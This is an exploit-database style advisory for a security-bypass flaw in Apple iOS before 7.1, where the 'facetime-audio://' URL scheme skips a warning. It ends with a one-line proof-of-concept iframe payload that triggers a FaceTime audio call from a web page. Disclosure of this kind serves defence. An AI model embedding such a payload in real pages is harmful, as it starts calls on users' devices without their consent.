Apple iOS 4.2.1 - 'facetime-audio://' Security Bypass

source: https://www.securityfocus.com/bid/66108/info

Apple iOS is affected by a security-bypass vulnerability.

Successfully exploiting this issue may allow an attacker to bypass certain security warnings. This may aid in further attacks.

These issues affect Apple iOS versions prior to 7.1.

<iframe src="facetime-audio://user () host com"></iframe>